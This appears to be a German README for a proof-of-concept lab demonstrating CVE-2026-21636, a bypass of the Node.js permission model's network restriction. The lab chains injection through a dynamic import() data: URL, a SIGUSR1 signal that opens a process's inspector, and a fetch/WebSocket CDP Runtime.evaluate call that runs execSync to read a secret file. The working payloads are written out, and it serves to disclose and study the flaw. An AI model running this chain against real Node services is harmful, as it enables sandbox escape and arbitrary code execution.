
Proof-of-Concept, das eine Umgehung des Node.js-Berechtigungsmodells demonstriert (CVE-2026-21636), die Netzwerkzugriff über undici/fetch auf lokale Dienste ermöglicht und so die Ausführung beliebigen Codes über CDP erlaubt.
Das Permission Model von Node.js (--permission) soll einen Prozess sandboxen, indem es den Zugriff auf Dateisystem, Kindprozesse, Worker und Netzwerk einschränkt. CVE-2026-21636 zeigt, dass Verbindungen über undici/fetch (und net/tls) zu Unix Domain Sockets und lokalen TCP-Adressen die Netzwerk-Sperre vollständig umgehen, selbst wenn --allow-net nicht gesetzt ist.
Betroffen: Node.js v25 (Netzwerk-Berechtigungen sind zum Zeitpunkt der Offenlegung noch experimentell).
Dieser PoC reproduziert das Konzept auf v22, wo derselbe Bypass beobachtbar ist.
Ein Angreifer, der beliebiges JavaScript in einen Prozess injizieren kann, der unter --permission läuft (aber ohne --allow-net oder --allow-child-process), kann:
Zwei Prozesse laufen nebeneinander im Container unter supervisord:
target.cjs schreibt beim Start seine eigene PID in /tmp/target.pid und läuft dann in einer Endlosschleife (idler Opferprozess). server.mjs stellt einen Express-Server auf :8000 mit einem /pid-Endpunkt und einem verwundbaren /language-Endpunkt bereit.
/app/secret.txt gehört app (chmod 444). Beide Prozesse können auf OS-Ebene darauf zugreifen. Der Exploit stützt sich nicht auf eine Dateiberechtigungs-Barriere — er demonstriert, dass server.mjs trotz fehlendem --allow-net über fetch()/WebSocket 127.0.0.1:9229 erreichen und beliebigen Code im nicht-sandboxed target.cjs-Prozess ausführen kann. Das Lesen von secret.txt über CDP ist der Beweis für diese Codeausführung.
Hinweis: Was dieser PoC tatsächlich demonstriert
Da
server.mjsbereits mit--allow-fs-read=/läuft, ist das direkte Lesen von/app/secret.txtaus dem sandboxed Prozess trivial möglich — nur mit der JS-Injektion (Schritt 1):import { readFileSync } from 'fs'; export default { secret: readFileSync('/app/secret.txt', 'utf8') };Beim Dateisystem-Lesezugriff geht es in diesem PoC nicht. Das Ziel ist die Demonstration von CVE-2026-21636: Trotz fehlendem
--allow-netkannfetch()(undici) eine TCP-Verbindung zu127.0.0.1:9229aufbauen und damit die Netzwerk-Sperre des Permission Models vollständig umgehen. Der Exploit nutzt diesen Bypass, um über CDP in den vollständig nicht-sandboxedtarget.cjs-Prozess zu pivotieren und beliebige Codeausführung außerhalb der Sandbox zu erreichen; etwas, das kein noch so großes--allow-fs-readerlauben würde.
POST /languageDieser Abschnitt liegt außerhalb des Geltungsbereichs des PoC.
// server.mjs
app.post('/language', async (req, res) => {
const requested = req.body?.lang ?? 'fr';
res.json(await import(requested + '/index.js'));
});
Der Server führt ein dynamisches import() auf einen benutzerkontrollierten String aus. Node.js import() unterstützt nativ das data:-URL-Schema:
data:text/javascript,<prozentkodiertes JS>
Das vom Server angehängte Suffix /index.js wird neutralisiert, indem // am Ende der Payload angehängt wird (wird als URL-Kommentar / ignorierter Pfadfragment behandelt).
Dies ermöglicht beliebige JavaScript-Ausführung im sandboxed Prozess — der Einstiegspunkt, um CVE-2026-21636 auszunutzen.
Der Server startet mit:
node --permission --allow-fs-read=/ /app/server.mjs
Die Absicht: Selbst wenn ein Angreifer Code in server.mjs ausführt, kann er weder das Netzwerk erreichen, Prozesse spawnen noch auf den Inspector zugreifen.
CVE-2026-21636 durchbricht die --allow-net-Grenze.
GET /pid → { "pid": <N> }
target.cjs schreibt beim Start seine eigene PID in /tmp/target.pid. Der Server stellt sie bereit. Dies identifiziert den Opferprozess, der als CDP-Relay verwendet wird.
Dies könnte auch durch JS-Injektion am Einstiegspunkt erfolgen; zur Vereinfachung habe ich einfach den /pid-Endpunkt erstellt.
target.cjs über SIGUSR1 aktivierenPayload, die über POST /language injiziert wird (als data:-URL):
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };
Wenn ein Node.js-Prozess SIGUSR1 empfängt, startet (oder setzt fort) er seinen V8/CDP-Debugger und beginnt auf folgender Adresse zu lauschen:
127.0.0.1:9229
Da target.cjs ohne --permission läuft, ist sein Inspector vollständig privilegiert — er kann jeden Ausdruck auswerten, einschließlich require('child_process').execSync(...).
Das Senden von Signalen (process.kill) wird vom Permission Model nicht eingeschränkt, daher gelingt dieser Schritt aus der Sandbox heraus.
Zweite Payload, die über POST /language injiziert wird:
// Liste der debuggbaren Ziele von der Inspector-HTTP-API abrufen
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();
// dann einen WebSocket zum CDP-Endpunkt von target.cjs öffnen
const result = await new Promise(resolve => {
const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
ws.onopen = () => ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `process.mainModule.require('child_process')
.execSync('cat /app/secret.txt').toString()`,
returnByValue: true
}
}));
ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});
export default result;
Warum dies trotz fehlendem --allow-net funktioniert:
fetch() wird in Node.js von undici implementiert. CVE-2026-21636 zeigt, dass undicis Verbindungspfad für http://127.0.0.1:... (und UDS-socketPath-Optionen) nicht durch die Netzwerk-Prüfung des Permission Models läuft. Die Sandbox glaubt, dass kein ausgehender Netzwerkzugriff erfolgt ist, doch die TCP-Verbindung zu :9229 gelingt.
Der CDP-Runtime.evaluate-Aufruf läuft im nicht-sandboxed target.cjs-Prozess, sodass require('child_process') verfügbar ist und execSync uneingeschränkt funktioniert.
Angreifer (Python-Skript)
│
├─[1]─ GET /pid → pid = N
│
├─[2]─ POST /language data:js SIGUSR1 → target.cjs-Inspector startet auf :9229
│
└─[3]─ POST /language data:js fetch+WS → CDP Runtime.evaluate → cat /app/secret.txt
↑
CVE-2026-21636-Bypass hier
(fetch zu 127.0.0.1 ohne --allow-net)
# Umgebung erstellen und starten
docker compose up --build -d
# Exploit ausführen
python3 exploit.py
Erwartete Ausgabe:
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!
| Prozess | Benutzer | Flags | Fähigkeiten |
|---|
target.cjs | app | keine | vollständige Node.js-API, keine Sandbox |
server.mjs | app | --permission --allow-fs-read=/ | vollständiger FS-Lesezugriff — kein Netz, kein child_process, kein worker |
| Berechtigung | Status |
|---|
--allow-fs-read=/ | gewährt (vollständiger Lesezugriff) |
--allow-fs-write | verweigert |
--allow-net | verweigert (experimentell, nicht gesetzt) |
--allow-child-process | verweigert |
--allow-worker | verweigert |
--allow-inspector | verweigert |